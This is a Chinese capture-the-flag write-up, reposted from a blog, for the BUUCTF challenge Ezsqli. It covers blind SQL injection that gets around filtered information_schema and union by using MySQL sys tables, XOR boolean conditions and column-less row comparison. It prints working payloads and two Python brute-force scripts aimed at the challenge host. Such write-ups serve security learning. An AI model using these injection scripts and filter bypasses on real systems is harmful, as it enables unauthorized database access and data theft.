BUUCTF:[GYCTF2020]Ezsqli --过滤了information_schem ------ 无列明注入之过滤了union 使用ascii偏移来做

一、自己做:

直截了当的sql注入,先用fuzz字典跑一下:

information_schema.table等被过滤了,
而且union 也被过了,
尝试了 || 和&& 等没有过滤,并且strsub,limit等都没有过滤,初步判断盲注应该时可以的。
但是 information_chema等被过滤了,表和 列都查不出来,

二、学到的&&不足:

  1. 当information_schema等被过滤的时候,能够查出数据库的名字,但是表明不知道,这时可以用这个来sys.schema_table_statistics_with_buffer 。sys.x$schema_flattened_keys来 爆表明,然后列明不知道的话,,没事可以用无列名注入
  2. ^ 这个符号异或,也可以在bool盲注中利用,尤其是当 || or 等常用的字符被过滤的时候可以派上用场
  3. python脚本post传参的生活,key记得要带上引号,我开始写脚本的生活,就在这里呆了好一会,,

三、学习WP:

  1. 数据库
id=1^(ascii(substr(database(),1,1))=000)^1

用burp总是429,所以就些python的脚本来跑flag了

post脚本写的不多,这里笑trick不错,先整个payload,然后py对payload进行format,然后data数组直接就带入data就好

sys.x$schema_flattened_keys
用这个库,可以查到表

import requests
flag = ''
payload = "1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))={})^1"
url="http://628dc582-3e8b-4ffd-b582-f8a1fcbc4878.node3.buuoj.cn/index.php"

for i in range(1,30):
    for j in range(32,140):
        py = payload.format(i,j)
        data = {
    
    "id": py}
        res = requests.post(url=url,data=data)
        if 'Nu1L' in res.text:
            flag=flag+chr(j)
            print(flag)
            break

知道了表明,无列名注入,这个时没有过滤union的。没有过滤union的话,无列名注入还比较简单,但是过滤了么,,就是另一个知识点了

在这里插入图片描述
在这里插入图片描述
那么我们就可以进行比较啦,盲注

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
测试了一下,出现bool(flas)标识 sql语句出现错误了应该,

select 1,'z'>(select * from f1ag_1s_h3r3_hhhhh)

这里我不知道为什么需要有个1 ,
在这里插入图片描述
两边查询的列应该使一样的

所以这里是尝试出来的。

import requests

def add(flag):
    res=''
    res += flag
    return res

payload = """1^((select 1,"{}") > (select * from f1ag_1s_h3r3_hhhhh ))^1"""

url="http://e96a82e8-8da5-4d1f-9ebd-8f9765a5ac39.node3.buuoj.cn//index.php"

flag=''
for i in range(1,80):#flag的位数
    for j in range(32,140): # 填充的字符

        mixchar = add(flag+chr(j))
        py = payload.format(mixchar)
        data = {
    
    "id": py}

        r = requests.post(url=url,data=data)
        if 'Nu1L' in r.text:
            flag = flag+chr(j-1)
            print(flag)
            break

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/114708291